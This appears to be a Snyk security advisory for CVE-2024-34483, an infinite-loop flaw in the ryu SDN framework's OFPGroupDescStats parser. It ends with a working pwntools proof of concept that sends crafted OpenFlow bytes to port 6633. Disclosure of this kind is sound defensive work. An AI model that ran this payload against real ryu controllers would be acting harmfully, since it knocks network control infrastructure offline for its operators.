Infinite Loop Affecting ryu package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-RYU-6809229
- published 6 May 2024
- disclosed 5 May 2024
- credit ErodedElk
Introduced: 5 May 2024
CVE-2024-34483 Open this link in a new tabHow to fix?
There is no fixed version for ryu
.
Overview
ryu is a Component-based Software-defined Networking Framework
Affected versions of this package are vulnerable to Infinite Loop due to the improper handling of OFPGroupDescStats
in *parser.py
. An attacker can trigger an infinite loop by setting OFPBucket.len
to 0.
PoC
from pwn import *
p=remote("0.0.0.0",6633)
brk=b"\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
brk+=b"\x00\x28\x00\x00"
brk+=b"\x00\x00\x00\x00"
bucket="00000001ffffffffffffffff000000000000001000000001ffe5000000000000"
# brk+=bytes.fromhex(bucket)
brk+=bytes.fromhex(bucket)
p.send(brk)
p.interactive()
References
CVSS Scores
version 3.1